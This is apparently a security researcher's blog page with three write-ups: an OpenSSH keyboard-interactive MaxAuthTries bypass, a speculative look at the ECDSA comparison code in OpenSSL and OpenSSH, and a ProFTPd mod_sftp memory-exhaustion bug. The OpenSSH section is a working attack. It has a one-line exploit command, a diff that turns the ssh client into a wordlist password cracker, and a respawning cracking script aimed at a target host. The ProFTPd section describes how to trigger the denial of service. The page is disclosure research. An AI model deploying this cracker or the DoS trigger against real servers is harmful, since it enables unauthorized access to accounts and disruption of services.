The Greek Resistance, Hear it Loud

Advertisements

OpenSSH keyboard-interactive authentication brute force vulnerability (MaxAuthTries bypass)

OpenSSH has a default value of six authentication tries before it will close the connection (the ssh client allows only three password entries per default).

With this vulnerability an attacker is able to request as many password prompts limited by the “login graced time” setting, that is set to two minutes by default.

Especially FreeBSD systems are affected by the vulnerability because they have keyboard-interactive authentication enabled by default.

A simple way to exploit the bug is to execute this command:

ssh -lusername -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` targethost

This will effectively allow up to 10000 password entries limited by the login grace time setting.

The crucial part is that if the attacker requests 10000 keyboard-interactive devices openssh will gracefully execute the request and will be inside a loop to accept passwords until the specified devices are exceeded.

Here is a patch for openssh-6.9p1 that will allow to use a wordlist and any passwords piped to the ssh process to be used in order to crack passwords remotely.

---snip---
diff openssh-6.9p1/sshconnect2.c openssh-6.9p1-modified/sshconnect2.c
 83a84,85
 > char password[1024];
 >
 510c512,517
 < authctxt->success = 1; /* break out */
 ---
 > printf("==============================================\n");
 > printf("*** SUCCESS **********************************\n");
 > printf("*** PASSWORD: %s\n", password);
 > printf("==============================================\n");
 > exit(0);
 >
 1376a1384,1385
 > char *devicebuffer;
 > int i;
 1386a1396,1405
 > devicebuffer = calloc(1, 200000);
 > if (!devicebuffer) {
 > fatal("cannot allocate devicebuffer");
 > }
 >
 > for (i=0;i<200000-2;i+=2) {
 > memcpy(devicebuffer + i, "p,", 2);
 > }
 > devicebuffer[200000] = 0;
 >
 1393,1394c1412
 < packet_put_cstring(options.kbd_interactive_devices ?
 < options.kbd_interactive_devices : "");
 ---
 > packet_put_cstring(devicebuffer);
 1408c1426
 < char *name, *inst, *lang, *prompt, *response;
 ---
 > char *name, *inst, *lang, *prompt;
 1410c1428
 < int echo = 0;
 ---
 > char *pos;
 1425a1444
 >
 1430a1450
 >
 1443,1449c1463,1469
 < echo = packet_get_char();
 <
 < response = read_passphrase(prompt, echo ? RP_ECHO : 0);
 <
 < packet_put_cstring(response);
 < explicit_bzero(response, strlen(response));
 < free(response);
 ---
 > packet_get_char();
 > if (fgets(password, 1024, stdin) == NULL)
 > exit(0);
 > if ((pos=strchr(password, '\n')) != NULL)
 > *pos = '';
 > printf("%s\n", password);
 > packet_put_cstring(password);
---snip---

After applying the patch you can use this shell script to make the password attack from a wordlist:

---snip---
#!/bin/bash
# run as:
# cat wordlist.txt | ./sshcracker.sh ssh-username ssh-target
#
while true
do
./ssh -l$1 $2
rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi
echo Respawn due to login grace time...
done
---snip---

For example enter this command:

cat wordlist.txt | ./sshcracker.sh test 192.168.2.173

The attack has been tested against a new FreeBSD 10.1 system and older FreeBSD versions such as version 6.2.

OpenSSL,OpenSSH ecdsa authentication code inconsistent return values.. no vulnerability?

I am always looking for bugs in OpenSSH as it is written in clear to read source code and has very strong security. Somehow I was suprised when I saw the new ecdsa authentication checks in OpenSSH and especially the transition to OpenSSL.

I did read the code and tested it and I doubt that OpenSSH or OpenSSL is vulnerable at all. I cannot verify this without a strong understanding of the math involved. Please don’t laugh at me if this leads to thin air.

Ecdsa is the authentication method used by newer OpenSSH versions aside with RSA and DSA public key authentication.

It uses elliptic curves and points on these elliptic curves to verify the connection is valid and authenticate. Inside the OpenSSH code I see that it will accept at least three curve types from the client. These are nistp256,nistp384 and nistp521 being identified by their bit count. nistp256 is used as a default curve. I could not validate if other curve types that are supported by OpenSSL can be used by a remote connection to go through OpenSSH authentication based on their bit count, as far as I have seen OpenSSH checks the bit count of the requested curve. I tried to supply OpenSSH with two dimensional curves that are supported by OpenSSL but it didn’t exactly succeed. Why is this important in a potential attack?

Because OpenSSH calls two functions in the transition to OpenSSL to validate authentication based on group types and more identifiers, these are:

EC_GROUP_cmp

EC_POINT_cmp

EC_GROUP_cmp should validate if two groups (the curves) are equal to each other.

Fun is that the top check done is checking the curve name, which again is the bit count of the curves supplied:

int EC_GROUP_cmp(const EC_GROUP *a,const EC_GROUP *b,

BN_CTX *ctx)

479 /* compare the field types*/
480 if (EC_METHOD_get_field_type(EC_GROUP_method_of(a)) !=
481 EC_METHOD_get_field_type(EC_GROUP_method_of(b)))
482 return 1;
483 /* compare the curve name (if present) */
484 if (EC_GROUP_get_curve_name(a) && EC_GROUP_get_curve_name(b) &&
485 EC_GROUP_get_curve_name(a) == EC_GROUP_get_curve_name(b))
486 return 0;

If the bit count is equal then OpenSSL will return zero as a value for success. This is not particular wrong behaviour, still akward that it only checks for the bit count when it should check the curve itself. For me a curve is like a graph and the bit count is only a small factor of the real information that should be checked before returning success.

The second function OpenSSH calls for verifiying authentication is EC_POINT_cmp. This function compares two EC_POINT values that encode x,y and z coordinates as OpenSSL BIGNUM types, the first originates from the authorized_keys file, the second from the client.

This function has more suspicious code flow. It returns success in comparison of the points if the curves method doesn’t have a point compare function. I know that this is internal audit code but still it shouldn’t return zero indicating success to OpenSSH, a return value of 1 should be fine.

The second check in EC_POINT_cmp will return success in comparison if the curves method is different from the first points method or if the first points method is different from the second points method. Especially the second check is interesting because point two is user supplied. Again a return value of 1 would be secure even if this might be internal audit code.

int EC_POINT_cmp(const EC_GROUP *group,const EC_POINT *a,

const EC_POINT *b,

BN_CTX *ctx)

992 {
993 if (group->meth->point_cmp == 0)
994 {
995 ECerr(EC_F_EC_POINT_CMP, ERR_R_SHOULD_NOT_HAVE_BEEN_CALLED);
996 return 0;
997 }
998 if ((group->meth != a->meth) || (a->meth != b->meth))
999 {
1000 ECerr(EC_F_EC_POINT_CMP, EC_R_INCOMPATIBLE_OBJECTS);
1001 return 0;
1002 }
1003 return group->meth->point_cmp(group, a, b, ctx);
1004 }

When all these checks are passed it will call the curves point compare routine that is bound to the curve type.

The default case is that ec_GFp_simple_cmp function gets called for a nistp256 curve.

This function checks at the very top if point a is at its infinity. If that is the case and point b is at its infinity too than zero is returned again as success. It might sound undoable but what if somebody manages to set both points to its infinity by manipulating either one of the points or the curve. A point is at infinity if its Z coordinate is zero.

Here is an interesting commit involving the function:

http://rt.openssl.org/Ticket/Display.html?id=1612&user=guest&pass=guest

These are the two authentication checks done in OpenSSH to verify a users certificate, here is the check in key.c:

299 if (EC_GROUP_cmp(EC_KEY_get0_group(a->ecdsa),
300  EC_KEY_get0_group(b->ecdsa), bnctx) != 0 ||
301  EC_POINT_cmp(EC_KEY_get0_group(a->ecdsa),
302  EC_KEY_get0_public_key(a->ecdsa),
303  EC_KEY_get0_public_key(b->ecdsa), bnctx) != 0) {
304  BN_CTX_free(bnctx);
305 return 0;
306 }

It much depends on the order the arguments are given to the OpenSSL functions because if EC_POINT_cmp takes the curve (named group here) as first argument it will do run authentication checks with this supplied curve. OpenSSH does that correctly by supplying the curve from the authorized_keys file as first argument whereas proftpd mod_sftp does supply the clients curve as the first argument and moreover the clients point BIGNUM coordinates as the first point in the arguments.

I personally do not trust this code, not because i don’t believe it’s secure but because it bluntly returns authentication success to OpenSSH when making internal audit checks. My personal opinion is that OpenSSH does not deserve this entry point of insecurity.

Cheers,

Kingcope

ProFTPd mod_sftp/mod_sftp_pam invalid pool allocation during kbdint authentication

ProFTPd installs with mod_sftp and mod_sftp_pam activated contain the vulnerability described in this post.

The current stable release of ProFTPd is 1.3.4d and the current release candidate is 1.3.5rc3.

First I have to note that this vulnerability is unlikely to be exploited. There is a way to control $rip instruction pointer

on 64 bit systems, for example on the Ubuntu 64Bit platform but I believe that it is not possible to get full code execution with this bug.

The bug is useful to trigger a large heap allocation and exhaust all available system memory of the underlying operating system.

Inside the file located at proftpd-1.3.5rc2/contrib/mod_sftp/kbdint.c ProFTPd handles the SSH keyboard interactive authentication procedure, in this case it will use pam as an authentication library therefore mod_sftp_pam has to be active for an installation to be vulnerable.

Source code file and line kbdint.c:300 reads:

[1] resp_count = sftp_msg_read_int(pkt->pool, &buf, &buflen);

[2] list = make_array(p, resp_count, sizeof(char *));
for (i = 0; i < resp_count; i++) {
char *resp;

resp = sftp_msg_read_string(pkt->pool, &buf, &buflen);
*((char **) push_array(list)) = pstrdup(p, sftp_utf8_decode_str(p, resp));
}

Line 1 will read the kbdint response count which is an unsigned integer with a size of 32 bits from the client during an SSH kbdint userauth info response client request.

This value is used to allocate a buffer with the size user_supplied_uint32_value multiplied by the size of a char pointer being 32bits or 64bits depending on the platform.

There is no size check before the request is sent to the pool allocator that is called by make_array at Line 2.

The pool allocator can be tricked to handle negative allocation sizes if resp_count is large enough.

There is a size check of the response count value but it’s done after this function returns.

The DoS condition can be triggered by sending an int32 value for resp_count that is slightly below the available memory of the target system and repeating the request.

Noteably OpenSSH vulnerability CVE-2002-0640 is very similar to this ProFTPd vulnerability. It has the very same code path.

Here is a reference to the OpenSSH Challenge-Response Authentication bug that was exploited by GOBBLES Security in their year 2002 sshutuptheo.tgz exploit: http://lwn.net/Articles/3531/.

Usage of keyboard interactive authentication in ProFTPd mod_sftp is rare as it is not activated by default.

Cheers,

Kingcope